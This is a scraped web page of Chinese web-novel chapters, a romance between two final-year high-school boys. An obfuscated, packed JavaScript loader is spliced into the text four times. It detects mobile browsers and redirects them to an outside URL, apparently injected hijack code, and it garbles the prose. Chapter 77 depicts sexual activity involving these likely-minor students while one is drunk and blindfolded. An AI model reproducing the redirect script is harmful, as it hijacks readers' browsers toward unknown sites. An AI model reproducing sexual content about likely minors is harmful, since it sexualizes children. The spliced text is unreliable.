l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504473|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成句的调子跟着变高:“等……!” “等什么?”谢遥集微微向后撤开,贴着林藏初嘴唇的距离只有几厘米,鼻息彼此相蹭。 隔了几秒,林藏初听见他轻声笑道:“明明是你先要亲的。” 林藏初:“。” 他确实是说了亲一下。 ——但也没说要亲成这样啊?! 禁锢着他的力道松了几分,房间的灯终于被人善解人意地按开,林少爷腿软地撑着门侧身站起,呼吸还有些不稳。 他手里拎着的眼镜镜片表面已经彻底脏了,满是方才胡乱按上去的指纹。 林藏初在房间明亮的光线里喘了口气,低头。看看自己,又看看谢遥集。 也不知是看见什么,脸色腾地爆红。 他忍无可忍地伸手往对方的胸膛砸了下:“亲归亲,有你这样的吗?” 相比之下,谢遥集的反应要镇定得多。他也跟着低头看了看,而后十分好脾气地征询少爷的意见:“抱歉。那现在要怎么办?” ——那现在要怎么办? 某个罪魁祸首就这样眼睛都不眨地、轻飘飘地把这份难题扔给了受害者林藏初。 林藏初:“……” 林藏初:“他妈的,还能怎么办?凉拌!” 说是凉拌就真的是凉拌。两个人床头坐着一个,床尾坐着一个,少爷捡起矮柜上的空调遥控器,抬手就按了个16℃。 热腾腾的地暖被空调的冷气瞬间吹开。威力很大,谢遥集很不巧地坐在出风口,猝不及防跟着打了个喷嚏。 林藏初面无表情地把温度又向上调了两度。 谢遥集轻咳一声,往这人坐着的方向不着痕迹地挪了挪。 然后蹬鼻子上脸道:“我还是有点冷,可不可以……” “闭嘴。不可以。” 林藏初根本不吃这一套,视线兀自往他身下看看,语气残忍地回复:“该。” 谢遥集:“……” 就像猫的尾巴和猫也是两种生物,某个地方的反应无所遁形,什么委屈和假装都没有用武之地。 林小少爷一眼就能看出来。 十几分钟后对方先他一步偃旗息鼓,背着手优哉游哉地在房间里转起圈,还顺便帮他把架着的眼镜拿下来,又仔仔细细地擦了一遍再还回去。 中途杨姨过来敲门问他们想要什么火锅锅底,少爷更是假借探讨的名义坐在旁边,认认真真地盯着谢遥集的脸看。 故意的。 托林藏初的福,制冷空调的关闭时间又向后延长了半小时。 “哎,你不会介意吧?”少爷笑眯眯地仰躺在床上,故作不知地把脑袋塞进他的怀里,“坐着有点太累了。” 谢遥集咬牙切齿。一字一顿。 “没事,我、不、介、意。” “那跟我一起吃菌汤锅怎么样?” 林藏初的话题换得很快,从善如流地回到了正轨。 就好像现在枕着人的不是他一样。 谢遥集:“。” 进行到一半的净化活动再次失败了。 他叹了口气,终于还是没忍住,把林藏初的脑袋往外搬了几厘米。 “随你。都行。我就一个要求。” “……别再乱动了,求你。” 76.Chapter 76 然而谢遥集的合理请求并没能得到应允。 少爷本着报复的心思杀敌一千自损八百,空调一直开到最后的结果是两个人都狂打喷嚏。 林藏初有些心虚地去医药柜里翻感冒药和板蓝根,结果翻出来发现全是过期的。 “……”唉,早知道就不多撩拨了。 他摸摸鼻子,眼神有些乱飘:“要不我们还是下楼去找杨姨问问……” “嗯。”谢遥集点头,瞟了一眼林藏初领口,气定神闲道,“先喝两碗板蓝根,然后再顶着满锁骨的红印子去见叔叔阿姨……” “啊啊啊啊不要再说了!” 林少爷羞愤地去捂男朋友的嘴,全然无了刚才捉弄人时,无论怎么都不肯松口退步的支棱劲儿。 五分钟后,林藏初换上白色的高领打底衫,扯着谢遥集狗狗祟祟地溜下楼。 才刚走到一半就偶遇了林子浔:“哥,你干嘛去?” “我刚要上楼找你呢。咱妈喊吃饭。” 林藏初:“我……咳,那个,我陪他去看猫。” 他疯狂给谢遥集使眼色。 谢遥集点头默认,滴水不漏地帮忙找补:“请问五子棋它还在睡吗?” “啊,这个。”林子浔挠了下头,“我也不知道,应该是醒了吧?它一般白天睡上几十分钟就会醒。” “那我先带他过去了。” 林藏初在妹妹面前打着哈哈把谎圆完,头也不回地往楼下跑,“你跟妈说声,我俩一会儿就来!” “不急,杨姨那边也还在忙——!”林子浔冲着他的背影喊,“记得上三楼!今天在三楼吃——!” “知道了——”林藏初的回音远远地从楼梯下面飘上来,人已经不见踪影。 ……下楼还跑这么快,也不怕摔了。 林子浔在心里默默吐槽。 而且屋里这么热,居然还穿高领。 真是怪事。 后面的一路都畅通无阻,再也没有遇上其他人。林藏初成功从客厅柜子里找到两袋未过期的感冒冲剂,一人一袋冲着喝了。 可能是心理原因,喝完之后林藏初只觉得神清气爽,鼻子也不塞了,喉咙也不痒了。 五子棋打着哈欠跳到沙发上,冲着两人细声细气地喵了两声。 林藏初摸摸猫头,双手合十地跟它道歉:“对不起啊五子棋,今天先拿你当挡箭牌。” “以后你再被林子浔抓去锻炼的时候,我会帮你说好话的!” 五子棋也不知道是听没听懂,很是傲娇地一甩头,迈着沉重的步伐跑走了。 林藏初带着谢遥集上到三楼的露台。 刚出楼梯间,谢遥集就闻见浓郁的火锅香气,宽敞的露台里热气升腾,各式锅底的味道交织在一起。 说是露台也不准确,整个平台周围都搭上了全景玻璃,左侧是铺着暖色毛毯的榻榻米,漂亮的竹编秋千里堆满毛绒玩偶。 右边则是很有设计感的大面积聚餐区,长桌上摆满备好的火锅食材,每个人的锅底咕嘟咕嘟地冒着热气,落地饮料架是藤蔓形状,不同种类的酒水和果汁置于其上。 那只名叫“小翠”的鹦鹉也被人拎了过来,笼子挂在靠边的绿植区域,嘴里叽叽喳喳地叫:“火锅!火锅!” 眼前的场面比谢遥集想象中的还要更热闹,远处吧台附近有专业的厨师忙前忙后,李叔他们在旁边热火朝天地打牌。 林子浔窝在双人沙发里,正在跟林母热情探讨自己刚钩到一半的针织围巾。 见谢遥集他们上来,她立刻放下手中的围巾招呼道:“哥,谢神!过来坐!” “他们那边扑克牌还没打完,真是慢死了。” 林子浔冲着林父的方向撇了撇嘴。林妈乐呵呵地帮忙开脱:“跨年嘛,多玩一会儿。你杨姨的儿子也不常来,难得聚聚。” 谢遥集顺着林子浔的视线望过去,看到牌桌对面坐着的男人。他还是第一次见到林藏初的父亲。 林藏初曾经在闲聊中偶尔提起过自己的家庭,但往往都是母亲和妹妹在其中占比更多,关于林父的部分仅有只言片语。 所以谢遥集很理所当然认为,林父在家里应该是那种不太好相处的严厉形象。 但直到现在真正见了面,他才发现自己想的简直大错特错。 林父喜形于色地从牌桌边高兴站起,甩出手里的最后一张扑克牌并哈哈大笑,得意炫耀:“老李,猜错牌了吧!” “不玩了不玩了。”李叔紧随其后地起身,捶着腰认输道,“算不过你们俩,玩得我头痛。” 牌局就此和平散场,杨姨的小女儿咿咿呀呀地过来找自家大哥,被林父笑着伸手揉了揉头。 哥哥将她抱起来一同去了餐桌旁边,杨姨早已经等在那儿。 林藏初放下喝到一半的西柚汁,拍了拍身旁的人:“走,我们也过去。” 谢遥集从怔愣里回过神,应了声好。 这顿跨年火锅吃得热闹,没有繁缛的尊卑长幼规矩,也没有各种敬酒和逢迎夸赞,跟谢遥集想象中的气氛完全不一样。 餐桌上的话题无外乎是轻松闲聊,他作为在场唯一的“外人”,本以为会被不可避免地问到父母、问到家庭,但林父林母全程除了热情地帮他夹菜,其余什么话也没说。 谢遥集跟自己盘子里的帝王蟹肉面面相觑,犹豫着不知道到底该不该下筷子。 那头林藏初又端了松茸过来,问他要不要涮一些在锅底里。 结果问鲍鱼不要,问虾也不要。被男朋友面不改色毫无痕迹地连着推脱几回,饶是神经大条如林藏初,也发现了不对劲。 桌上的其他人都在专注吃饭,少爷若有所思,手指偷偷从桌布上面垂落下去,一厘米一厘米地沿着空气往左边蹭。 一直蹭到谢遥集支在板凳外的腿上,漂亮的指尖向下,力道很轻地点了点。 “!”作乱的手很快被对方抓住,谢遥集呛了口饮料,眼神略含警告看过来。 林藏初就着这个被握住手指的姿势,指甲在谢遥集的掌心里划了个圈。 借着探身去桌边拿鸡尾酒的姿势,少爷凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14524046|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近了,气息落在男朋友的耳朵边上:“这么见外?” 很简单的四个字,问的是几秒钟前桌布下面的阻拦,同时也是别的。 “……明明都算是一家人了。” 林藏初已经够到了盛着鸡尾酒的酒杯,声音很低地又嘟囔一句。倾斜的身体往回撤,连同被谢遥集握住的手指一起。 指尖才刚离开不过三厘米的距离,就又被对方倏地扯回去,攥住。 林藏初向后靠的动作一顿,渐变蓝的鸡尾酒在玻璃酒杯里跟着晃荡几下。 他挑了下眉。 手里的酒杯顺势换了个方向,朝着谢遥集虚虚地递过去:“这个好喝,尝尝?” 谢遥集的右手还在桌子底下占着,只好换成左手去接。 手指碰到冰凉的杯壁,想从少爷的手里把酒接过来,但是罕见地没能拿动。 林藏初握着杯柄的姿势没变,甚至还将杯子善解人意地向前送了送。 谢遥集的喉结滚了下,鬼使神差地,左手掌心挪低几厘米,把少爷的手连同杯柄一起握住了。 兴许是因为在吃火锅的缘故,林藏初的手指温度远比平时要烫,杯壁上挂着水蒸气冷凝而成的白霜,又在两人手掌的交握下融化消失。 玻璃酒杯里的冰块彼此碰撞,发出清脆声响。 餐席欢声笑语,热气升腾。无人注意角落里两个男生隔着杯子彼此触碰的手。 不知是谁最先喊了声:“快看!外面下雪了!” 杯柄上多出来的力道倏地消失,谢遥集也下意识地抬头,隔着屋顶全景玻璃上的雾气看见大团大团的雪花,纷纷扬扬,缓慢地向下坠落。 杨姨家的小女儿跳下椅子,像只雀儿似地跑过去,对着玻璃窗户哈口气,用袖子认真地擦了擦,小心翼翼地把脸贴上去。 “妈妈!”她跪坐在毛绒绒的毯子上,转头小小声地问,“好漂亮,我可以出去玩吗?” 得到杨姨肯定的回答,她整个人都显得尤为雀跃:“那浔姐姐来吗?” “来!”林子浔咬着筷子,弯着眼睛笑盈盈地哄她,“等吃完饭,看姐姐去给你堆个超级大的雪人!” 热闹。温馨。 这是谢遥集最真实的感受。 他低着头看那杯被林藏初递过来的酒,里面的冰块已经有些融化了。渐变的蓝色从上至下晕染开,谢遥集抿了一口。 度数好像不是很高。 他只微微地尝了两口就放下,酒杯放在两人餐位的交界处。林藏初早已经将那只作乱的左手收了回去,但谢遥集还是没来由地觉得燥。 在酒精加持下,身体里这种不习惯的感觉变得逻辑严密、贯穿大脑,活跃得有些不像话。 谢遥集看见自己喝过的酒杯被林藏初拿过去,漂亮的手指握着杯柄重新端起。 少爷没有看他,或者换个说法,似乎根本就不会注意这种事。 透明淡蓝的酒液被人一仰而尽。 谢遥集的视线落在林藏初唇瓣碰到的位置,巧合般与他方才喝过的地方是同一处。 77.Chapter 77 ……玩脱了。 这是林藏初和男朋友并排躺在自己房间的床上,胸膛随着呼吸剧烈起伏时,内心想的第一句话。 谢遥集本来没想留下的,但是林藏初当时站在他身后,问:“不一起跨年吗?” 再加之林子浔举着平板过来,兴致冲冲地介绍某个刷题软件今年举办的跨年模考活动。 一等奖的奖品是最新款的国产手机。 谢遥集想到自己已经碎到不能再碎的手机屏幕,实在是有些动心。 就算现在立刻打车回去,在路上耗费的漫长时间也足以让他错过这场模考活动。 ……还有和林藏初一起跨年的机会。 前者其实也没那么重要,后者……虽然听起来很腻歪又厚脸皮,但谢遥集找不出来第二个比它更重要、更能说服自己的理由。 谢遥集就这样留在了林藏初的房间里。 其实他也可以睡客房的,但是少爷死活不同意,说好不容易过来一次,住客房多见外啊。 反正他床够大,别说睡两个人了,就是睡上三个人也是睡得下的。 所以半个小时之前,当谢遥集抱着刚下好APP的平板挤到他的被窝里时,林藏初并没有觉得有什么不对。 少爷打了个哈欠,撑着脑袋看谢遥集做英语阅读。 因为是线上模拟考试,所以跟月考还是有些差别的,比如二十分钟的英语听力可以放在最后去听。 又比如不能同时看两道题的选项,只能翻过来选上答案,再翻到下一页。 iPad屏幕被人一目十行地划来划去,林藏初本来也想跟着凑个热闹,好检验一下自己这段时间背单词的成果。 但对方做题实在做得太快,少爷努力了一下,实在没努力成功,只好转移视线,盯着谢遥集在屏幕上点来点去的手指看。 指骨分明,比例修长。 林藏初很忽然地记起自己当初在心里想过的话:这只手真的很适合去打电竞。 只是谢遥集的游戏水平大家都有目共睹。 林藏初又神游天外地想,也许除了这个,也很适合干些别的什么。 他似乎是想到了些奇怪的东西,脸上很突兀地冒出点儿红。 少爷做贼心虚地摇了摇头,假装自己什么都没有思考过。但是身体的反应做不得假,谢遥集还在认真考试,他看着房间里空荡荡的墙壁,开始放空大脑地发呆。 林藏初想着想着,又觉得生气。 这怎么能算是他一个人的问题呢?明明是谢遥集有错在先!都怪他不好好做题,非要晃着手来招惹自己。 少爷用一套歪门邪道的理论将自己成功洗脑,决定立刻实施报复—— 例如像八爪鱼一样缠在谢遥集的身上,掠夺他周围用来呼吸的空气。 谢遥集刚选完最后一道语法填空,后背突兀地多了份重量。 林藏初的胳膊顺着他的脖颈耷拉下来,像是树袋熊抱树一样地抱住对方。 有什么奇怪的东西硌着他的腰,谢遥集深吸一口气,手一抖,在语法填空的横线上填了个单词原型。他觉得自己现在有点晕。 “别闹。”谢遥集低声道。 林藏初斩钉截铁:“不。” 谢遥集:“你……” 林藏初接着重复:“不。” 谢遥集:“……” 他忽然想到了一种很大的可能性。 软绵绵趴在背上的人被小心翼翼地掀了下去,谢遥集盯着少爷酡红的脸颊看了几秒钟,最终确认这人已经喝醉的事实。 他想起那杯自己喝过的、被林藏初一饮而尽的鸡尾酒。 ……后来好像还喝了些别的。 谢遥集摸不准林藏初的酒量,也没见识过对方喝醉后的酒品是什么样。 刚扔下去几秒钟,对方一个翻身又重新缠上来,开始无意识地在谢遥集的身上蹭。 谢遥集险些也差点跟着一起大脑混沌,他深吸一口气,用了生平最快的速度写完这张英语卷的改错和作文。 这场考试只差最后的听力还没有做。 林藏初其实也不是全无意识,甚至可以说是头脑十分清醒,只是身体有些不受控制。 后上劲的酒精将所有见不得光的想法和羞于启齿的欲望都放大百倍,于是他眼睁睁地看着自己在男朋友的身上挂着不肯撒手。 ……直到冰凉的蓝牙耳机被对方的手指顺着耳朵轮廓按进来。 iPad偌大的屏幕上是考试界面,稳稳地支在床头前,蓝白相间的配色显得尤为恐怖。 林藏初瞬间清醒了一点:“?” 谢遥集低头看他,嗓音哑哑的:“我也喝酒了。” 林藏初开始很缓慢地跟着他的话思考。 “喝酒了,然后呢?” “……然后,会听不太清英语听力。” 谢遥集半坐起身,慢吞吞地接着讲道。 他朝着林藏初挪过去,两个人之间的距离不断靠近,最后少爷身下的床单随着他的动作塌陷下去一小块。 “所以帮帮忙吧,少爷。” 距离彻底拉近,林藏初看见对方长而浓密的睫毛微垂,在下方遮出好看的阴影。 帮帮忙吧。 谢遥集这样喊他,用一种根本没法让人拒绝的语气。即使林藏初的英语稀烂,听单词都听不出来哪个是A哪个是BCD。 如果是清醒着的林小少爷,他一定会十分愤怒地拒绝这个如同羞辱般的请求,并且大骂道“放他娘的狗屁”。 但是很遗憾,少爷现在是喝醉的状态。 于是他晕乎乎地同意了,并且心态良好地接受了谢遥集强行塞给他的蓝牙耳机。 左右不过是给男朋友当个吉祥物挂件。 微微喝醉后的少爷是这样想的。 但很快他就发现自己完全想错了。 房间墙上挂着的分针正好走过数字十二,耳机里传来标准机械的英语宣读声。 屋子里本来就热,少爷别扭地试图挣开他:“你……” “嘘。”谢遥集的手指有些凉,虚虚地搭在他的肩膀上,“不要说话,仔细听。” …… 林藏初顺着他的话安静了。 但是他安静,不代表别人也跟着安静。不过几秒钟神游天外的功夫,谢遥集温热的呼吸已经从后面蹭进他的衣领里。 直蹭得人发痒。 林藏初忍不住缩脖子,想出声抗议,但是耳机里的英语听力还在放。 音量算不上大,只要他一说话就会轻而易举地盖过去。 “……!!” 被握住的瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14557996|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,少爷猛然瞪大双眼,几乎要从床上跳起来。 面料柔软的白色打底衫在胸前堆起褶皱,像是享用烛光晚餐前铺好的餐巾。 未出口的呜咽堵进喉咙,林藏初不受控制地弓起腰,喘息声逐渐变大。 他在身体的迷乱里听清谢遥集的问题:“少爷,第三题的答案,选A还是选C?” 林藏初根本无法辨别耳机里的听力内容。 酒精早已混入沸腾的血液,演化为这场特殊考试里最上乘的催情剂。 他思维迟钝地想去记住每个单词的发音,但都是徒劳。理智被牵扯到身体的其他地方,浅棕色的漂亮瞳孔微微涣散。 视野变得模糊朦胧。 生理性的眼泪大滴大滴地涌出来,挂在睫毛上摇摇欲坠,又被对方动作很轻地吻走。 几秒钟后,谢遥集的手指盖上来。再拿开时,林藏初的眼前已经多了道细长的绢质丝带。 黑色的,上下很宽。 可能是随手拆下来的礼物盒蝴蝶装饰,被少爷在曾经的某天里,毫不在意地扔在床头的边角处。 而现在这条绸带被谢遥集系在他的身上。从林藏初紧闭发着颤的眼睛绕过去,在后脑勺处打了个漂亮的蝴蝶结。 他听见谢遥集的声音。 又在问了。 问他刚才念到的英语长句是什么意思,自己有个单词没太听清。 是名词还是动词,是正确选项还是错误选项。 “……” “…………” 没有回答。 绢布系上去不过十几秒,就被少爷沁出的泪水沾湿,黑色的面料看不出痕迹,只有位置湿答答地向下偏移了几分。 像是悬在高空桥索中间的一点,脚下的桥索缓慢地一点接着一点晃荡,他没办法顺着桥跑过去,又没办法往回退。 谢遥集的指甲修剪得很圆润。 被按住的人像是砧板上垂死挣扎的鱼,扑腾着想要翻过身,但连一点小小的浪花都没能激起。 他几乎是哭着喊了个答案。 因为是随口胡诌的,所以根本就不用思考。 禁锢着身体的力道终于松了,像是复杂的进程里被按下暂停键。 骂街的话在嘴里变了十八个样儿, 结果手腕刚从被子里探出来,只伸到一半就被对方稳稳当当地拦住。 近乎哄骗地牵去了其他的地方。 . “!” 他挣扎着想把手往回缩,但谢遥集牢牢地按着他的手腕,将每一寸退路都堵死。 谢遥集低声道:“专注些。” 要掉不掉的蓝牙耳机里仍旧放着冗长难懂的英语念白,林藏初不知道他话里的这个“专注”指的是什么。 到底是让自己专注于这场听力测验的答案,还是专注于其他别的什么事。 …… ………… . 这是今天林藏初第二次听见这句话。和上次不同,这回是叹着气说的。 少爷因为心软而重蹈覆辙。 五分钟。十分钟。十五分钟。 . 到最后林藏初累得完全无暇思考,工作结束的瞬间,他脑袋里唯一剩的想法是: 谢遥集这次的考试是彻底完蛋了。 78.Chapter 78 半个小时后。 林藏初木着张脸,擦着头发从浴室出来,又把谢遥集连同一套刚找出来的干净睡衣一起塞进去,砰地一声拉上门。 谢遥集自知理亏,站在浴室里摸了摸自己险些被撞到的鼻子,对男朋友的粗暴行径没有丝毫怨言。 水声隔着浴室的玻璃门淅淅沥沥地响起来,林藏初刚擦干头发爬上床,又听见谢遥集问:“抱歉,请问有洗发水吗?我没找到。” 林藏初现在听见抱歉两个字就手腕发酸,条件反射似地深吸口气。 “……我用完了。”他面无表情地顿了顿,道,“右边柜子里有新的,你拿就是。” 几分钟后,窸窸窣窣的翻找声消失,浴室里短暂停止的水流声再度响起。 坐在床上的少爷松了口气,不再去竖着耳朵屏息凝神地听动静,又像是顾及到什么,欲盖弥彰地坐得离半透明的磨砂玻璃门远了些。 厚重的被子盖在身上,屋里暖气太足,他洗完澡之后只穿了件短裤。 平板扔在堆叠的被子中央,没锁屏,上面的时间从11:59跳到0:00。提示音响起,屏幕中央是条刚闪进来的软件通知。 ……应该是男朋友新鲜出炉的考试成绩。 林藏初低头,盯着那条白色的系统消息栏看了一会儿。耳垂慢慢变红,像是回忆起了十几分钟前不堪回首的往事画面。 或许要与一等奖失之交臂了。 他想。谢遥集这样算不算是罪有应得? 林藏初甚至已经准备好了自己待会儿安慰人的话术,有些幸灾乐祸。 折腾他那么长时间,考不好也是活该。 没过多久,浴室的玻璃门被人拉开。 谢遥集身上还带着水汽,金丝细框的眼镜架在高挺鼻梁上,几缕湿润的黑发从旁边垂下来,衬得那双狭长的桃花眼愈发漂亮。 林藏初……林藏初咽了下口水,刚才打好的腹稿全然忘记,有备而来的怒火也烟消云散了。 计划被打乱,他有些慌乱地移开视线:“呃,那个。你洗完啦?” 谢遥集应了一声,脚步渐近,柔软的床随着他的动作微微凹陷。 林藏初立刻很有眼力见儿地往里面挪了挪,好心给自家男朋友让出个位置。 几秒钟后,潮湿的水汽和吻一同轻飘飘地漫过来,蜻蜓点水般地在少爷的唇角碰了碰。 谢遥集俯下身,双手虚虚撑在两侧,几乎将他整个人都笼罩在内。 林藏初被他亲得有些懵,含糊不清地问:“……干嘛呀?” 他的话没能得到回应,但能看出来,谢遥集此时的心情似乎很好。 两人之间距离约等于无,林藏初闻见这人身上沐浴露的浅淡香调,和自己是同一种味道。 谢遥集稍长的发丝蹭在他脸颊,湿湿的,因为换了洗发水的牌子,又有点不一样。很凛冽的雪山薄荷味。 可能是睡衣有些不合尺码,谢遥集上身纽扣没系全,领口朝着两边大咧咧地敞着,林藏初一低头就能看见他锁骨以下的位置。 该看见的、不该看见的全都入了眼。 某处的邪火又有点要往上窜的迹象,少爷死死地紧闭双眼,默念三遍清心咒,把男朋友的衣服往中间扯:“不要不守男德!” 他闭着眼睛,听见谢遥集倏地笑出声,距离微微撤开,好像是想说些什么。 等半天都没听见对方的下一句话,林藏初狐疑地睁开眼,然后就看见谢遥集手指勾着睡衣的边扣,正要往下脱。 林藏初:“!!!” 他飞速扑过去把人捂住:“不不不我觉得这样挺好的!” 谢遥集的手指放下了:“真的?” 林藏初点头如捣蒜:“真的!!!” 他为了把这个话题掀过去,终于想起来平板上那条被自己不小心遗忘的软件通知:“线上模考成绩出了,你不看看吗?” 谢遥集似乎也才刚想起来这回事。 他从床头捞起平板,划开,点进那个刷题软件。 可能是因为同时点进来看成绩的人太多,界面有些卡,屏幕中央的加载标识在笑脸和圆圈中转来转去地切换。 林藏初也紧紧地挨过来,看热闹似的将脑袋凑上前。 分数加载出来的瞬间,少爷下意识屏息凝神。 …… 147分。成绩排名:1。 林藏初:“?” ????????????! 这不对吧?!! 他不死心地从分数界面往下扒拉。后面就是试卷概览,一整片几乎全是正确的绿色,只有作文和听力被扣掉三分。 林藏初木着脸点开其中一道题,是当初自己受不了的时候随便喊出的选项。很不出意外地蒙错了,被答卷的人选在上面,成了整张试卷的正确答案中唯一一抹错误的红。 少爷审视的目光缓缓落在谢遥集脸上。 后者坦然地回以对视。就好像对这个分数并不意外。 ……妈的。就是故意的。 林藏初终于意识到问题所在,咣当一声扔下平板。 “老狗比!!我跟你拼了!!!!” … …… 恼羞成怒的少爷气得三天没和谢遥集说话。 期间被过来借理综卷子的前桌周扬敏锐地发觉,大着胆子问:“林哥,你俩又吵架啦?” 林藏初凉凉地扫他一眼,周扬顿觉有些寒毛竖立,立刻手指比口型地做了个拉锁链的动作。 反倒是从来都不怎么主动开口的谢神,对着他温和地笑了笑:“我的借给你吧,一样的。” 周扬简直受宠若惊:“真的可以吗?” 谢遥集:“可以。” 周扬立刻如获至宝地捧着学神写满正确答案的理综卷转回了座位,开始奋笔疾书。 他本来也只是为了整理错题,只是今天恰巧忘记带试卷,结果竟然能直接借到谢神的卷子——赚了! 这节自习课的下节就是生物,所以班级里远比往日要安静,只能听见周围同学忙着补作业的笔尖沙沙声。 周扬在这种此起彼伏的纸笔摩擦声中听见后桌两个人的小声交谈。 “还在生气?”谢神的声音有些不太真切。 然后是他林哥,似乎没开口说话,只从鼻腔里哼了个气音出来。唰啦。一道特别大的翻书声。 安静几秒钟,周扬又听见谢遥集微微压低的嗓音。 “……对不起。” “原谅我吧,少爷。” 咔嚓。 周扬手里握着的自动铅笔崩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582274|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芯。 铅笔芯断在错题本上,压出来个又深又小的黑点,周扬没敢声张,慌乱中找橡皮想要蹭掉。 胳膊肘向外一挪,橡皮擦被他顺着桌子缝隙撞到地上。 周扬于是又弯下腰去捡。 橡皮拾起来的瞬间,倒置的视野里出现两只在课桌底下紧密相牵的手。 其中一只手背上有道细长横贯的旧疤。被另一个人的手指轻轻碰过去,指尖亲昵地摩挲着。 “……” 周扬猛地把脑袋抬回了桌面。动作幅度太大,课桌被他哐当一声撞出去几十厘米。 同桌正在补生物作业,很不幸地也跟着遭殃,黑色墨迹在试卷的题目括号外划出长长一道。 “——我草,周扬你有病吧?” “对不起对不起,真不是故意的。” 周扬捂着脑袋边揉边道歉,疼得眼泪都快下来,大脑却还在茫然地思考着自己刚才看见的场面。 ……他是错题写太多,所以出现幻觉了吗? 周扬后面已经记不清自己是怎么整理笔记的了。他浑浑噩噩地把答案抄完,浑浑噩噩地转身把试卷还给谢神。 谢遥集把试卷收起来,和煦地朝着他颔首微笑。 周扬在这人的笑容里冷不丁打了个寒颤。 他感觉自己好像已经知道什么不得了的秘密……并且是只要说出去一点,就会被人灭口的那种。 周扬心头发颤地往林哥的脸上看,没瞧出什么异样来。不对,还是有点不一样的。 他林哥藏在头发里的耳朵红了半截。 “……”周扬成功被自己的口水呛到,在谢遥集抬眼看过来前晕乎乎地把脑袋转回去,很有自知之明地不吭声了。 最后林大少爷在这天的晚自习前,被男朋友用一杯热腾腾的奶茶成功哄好,主动结束了这场长达八十个小时的冷战。 兴许是因为临近期末考,班里插科打诨的氛围都没了不少,下课的时候大多数学生都老老实实坐在座位上复习。 谢遥集借着辅导同桌学习成绩这种光明正大的理由,每天课间见缝插针地跟少爷挨在一起腻歪,混在周围三三两两彼此请教问题的同学中,倒也不是很显眼。 偶尔有关系相熟的过来座位上串门,颇为惊奇地问少爷怎么开始对学习感兴趣,还没等林藏初回答,就已经被谢遥集用其他不相干的话题不着痕迹地挡了回去。 前桌周扬在这种不经意间会叫人觉察的细节里愈发地胆战心惊。 大到林哥就连下节课写什么作业都要过问谢神的意见,小到谢神在放学时随口嘱咐林哥明天降温记得要带围巾。 周扬不敢看也不敢听,缄默地充当了这场秘密早恋里的守护者。 当然也有随口一问,误打误撞打听到他这里的。 譬如林藏初是不是真的开始发愤图强,又譬如谢遥集给林藏初讲题的时候能不能顺带着捎上自己一个。 周扬全都打着哈哈应付过去:“不知道啊,快高考了,林哥他努力学习不是应该的吗?” “你问谢神啊,谢神给他同桌讲题,没毛病啊。你要想过来听,那得是另外的价钱,我说了不算。” “什么,他俩以前关系不好?嗨,都是同学有什么关系好不好的,去去去,少听八卦多学习。” 79.Chapter 79 期末考试的成绩在高三补课结束的前一天公布,林藏初的年级排名果不其然往上跳了一大截。 托周扬的福,其他同学并没对这个结果产生太多讶异,只是感慨有年级第一做同桌真好啊,成绩能提高得这么快。 整个高三(1)班都洋溢着放寒假的快活氛围,一群人背着书包推推搡搡地挤在班级门口的墙边看考试成绩,讲台旁边乌泱泱人头攒动,教室里面的座位也就跟着空荡下来。 林藏初还坐在座位上,没着急动,动作慢吞吞地把桌面上的东西往自己的书包里装。 装完辅导书还要装厚厚的笔记,装完笔记又开始装各科刚讲完的卷子。 桌面上堆叠的书山被搬走,谢遥集借给他的针管笔骨碌碌地顺着向外滚,林藏初伸手把它捡起来,塞进书包的最里层。 谢遥集也在整理自己的东西。 说是整理,其实也没有什么好整理的。 谢大会长的桌面一向整洁,从来不会像其他同学那样堆得满满登登,就连抽屉里也是分门别类地放好各科笔记。 林藏初收拾书包的动作很突兀地停下了。 他手里拿着一本字迹工整的物理笔记,里面被男朋友很贴心地用荧光笔画满了重点。 一枚枫叶书签从笔记本的夹层中掉出来,晃晃悠悠地落在桌面上。 要放假了。 对于时间的认知无比清晰地出现在林藏初的脑袋里。少爷低下头,像是忽然搭错根筋似的,吸了吸鼻子。 声音闷闷地道:“……我会想你的。” 语气实在太过于伤春悲秋,谢遥集转过头去看他,只瞧见个毛茸茸的发顶。 实在是可爱得有些孩子气。 谢遥集有些好笑地摇摇头,把手伸过去摸了摸林藏初的脑袋。 “嗯,我也会想你的。” “所以寒假的时候,你有时间吗?” “什么?”林藏初没反应过来。 谢遥集放下手,转而帮他把书包装好。 “我是说,如果你有时间的话,我们假期里可以经常见面。” 